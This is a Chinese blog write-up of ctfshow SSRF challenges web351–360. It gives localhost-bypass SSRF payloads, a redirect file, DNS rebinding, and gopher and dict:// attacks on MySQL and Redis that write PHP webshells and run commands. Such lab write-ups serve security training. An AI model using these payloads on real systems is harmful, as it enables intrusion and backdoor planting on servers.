ctfshow SSRF

web 351

直接读取本地文件

url=file:///var/www/html/flag.php

url=127.0.0.1/flag.php

web352

这里要求是http或者https协议,只需要满足这个就可以了。

url=http://localhost/flag.php

url=http://127.0.0.1/flag.php

url=http://127.1/flag.php

url=http://0.0.0.0/flag.php

url=http:/0/flag.php

url=http://127.127.127.127/flag.php

url=http://127。0。0。1/flag.php

url=http://0x7F.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://2130706433/flag.php

url=http://0x7F000001/flag.php

web353

url=http://127.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0x7F000001/flag.php

url=http://0x7F.0.0.1/flag.php

url=http://2130706433/flag.php

url=http://0.0.0.0/flag.php

借助352的一大堆可以打。

web354

http://sudo.cc这个是解析到127.0.0.1的域名,直接用即可。

url=http://sudo.cc/flag.php

web355

PHP: parse_url - Manual

因为$host<5,所以构造个小于5的payload就可以了。

url=http://127.1/flag.php

url=http://0/flag.php

web356

$host小于3

url=http://0/flag.php

web357

PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程

这题过滤了,不能访问内网的IP,有两个方法来完成这题。

一、302跳转 

在服务器上新建一个302.php,内容如下:

<?php 

header("Location:http://127.0.0.1/flag.php");

二、Dns重绑定 

CEYE - Monitor service for security testing

在上面这个平台注册后,它会给你一个域名,把dns重绑定的东西改成下面。第一个写公网的IP,第二个写127.0.0.1。

大致的原理是:

输入payload,在waf检查的时候,本地Dns服务器向Dns服务器发起请求,解析域名,刚好重绑定到公网的1.1.1.23。

然后在file_get_contents($url);读取文件时,TLE时间快速失效,Dns服务器缓存清空,得重新对域名进行解析,这时恰好重绑定到127.0.0.1这个ip,顺利读到内网的文件。

因为这个dns重绑定解析到哪个ip是随机的,有可能第一个是127.0.0.1,第二个也是127.0.0.1,这个得看运气。也有可能在过waf的时候就解析到1.1.1.23,读取文件的时候解析到127.0.0.1,直接一次成功。

所以得多试几次

具体的可以看一下大佬的文章。 

 浅谈DNS重绑定漏洞 - 知乎

web358

.*是正则表达的贪婪法制,匹配尽可能多的字符。

url=http://ctf.@127.0.0.1/flag.php?show

url=http://ctf.@127.0.0.1/flag.php#show

为什么访问的是@后面的127.0.0.1,这与parse_url的解析有关。

PHP: parse_url - Manual

web359

题目提示打无密码的mysql,这里感觉也算是盲打了,第一是不知道secure_file_priv的值,也就是说允不允许导入导出;第二是不知道当前网站路径有没有写入权限;

因为是无密码的mysql,有三种利用方式。

一是可以构造原生数据包通过gopher查数据库的数据

二是写webshell

三是UDF提权

先一个个来试吧,因为第一和第三种有点麻烦,先试一下最简单的第二种。

打开gopher小工具https://github.com/tarunkant/Gopherus

使用方式:

python2 gopherus.py --exploit mysql

Give MySQL username: root                                   

Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

将得的结果在_后面再url全编码一次。

访问url/1.php,然后在post处命令执行。

web360

和上题差不多的方法,用gopher打redis。

可能是写webshell、反弹shell、写公钥,也是得一个个试。

这题的话是写webshell,直接利用小工具

What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>

URL编码一下_后面的内容,生成的webshell默认是shell.php中

发的包会超时,但是没事,shell.php还是生成了。

刚想起另外一个骚姿势,其实也和用gopher生成的差不多,原理都是差不多,只不过这个用的是dict协议。

# 清空 key
flushall

# 设置要操作的路径为网站根目录
config set dir /var/www/html

# 在网站目录下创建 shell.php 文件
config set dbfilename shell.php

# 设置 shell.php 的内容
set x "\n<?php eval($_GET[1]);?>\n"

# 保存上述操作
save
 

dict://127.0.0.1:6379/flushall

dict://127.0.0.1:6379/config set dir  /var/www/html

dict://127.0.0.1:6379/config set dbfilename shell.php 

dict://127.0.0.1:6379/set x  "\n<?php eval($_GET[1]);?>\n"

dict://127.0.0.1:6379/save

在第四步写一句话的时候得换成代码的十六进制,直接写的话,可能是得转义或者过滤的原因,问号过不了,会显示命令执行失败,先把一句话在bp转成ascll的十六进制。

在写入的时候每两位插入一个\x,以表示代码的十六进制。

最后在shell.php执行system('cat /f*');就行了。 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值